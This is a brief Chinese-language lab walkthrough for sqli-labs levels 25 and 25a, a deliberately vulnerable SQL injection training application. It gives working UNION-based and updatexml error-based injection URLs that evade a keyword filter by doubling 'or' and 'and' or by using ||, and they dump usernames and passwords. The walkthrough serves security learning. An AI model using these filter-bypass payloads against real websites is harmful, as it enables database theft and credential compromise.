less-25
前置基础知识：后面的关卡涉及到WAF绕过：
主要有三种方式：白盒绕过、黑盒绕过、fuzz测试
网上sql注入WAF绕过的教程有很多，可以自己查询，总之就是比谁思路猥琐
根据第25关下面的提示和代码，我们发现他对or和and（不区分大小写）转义成了空格
第一种办法：
采用双写的方式
这里就直接最后一步了，几个步骤都相同：http://192.168.5.100/sqli-labs/Less-25/?id=0' union select 1,2,group_concat(concat_ws('-',username,passwoorrd)) from security.users --+（注意password中or双写）
第二种方法：or->|| 基于报错的注入
http://192.168.5.100/sqli-labs/Less-25/?id=0' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+
遍历爆出所有的数据，继续使用即可，这里不可以使用group_concat()，因为数据显示不完整
less-25a
通过观察，上一关有’‘包裹，这一关没有任何包裹，并且也是转义or和and
：http://192.168.5.100/sqli-labs/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+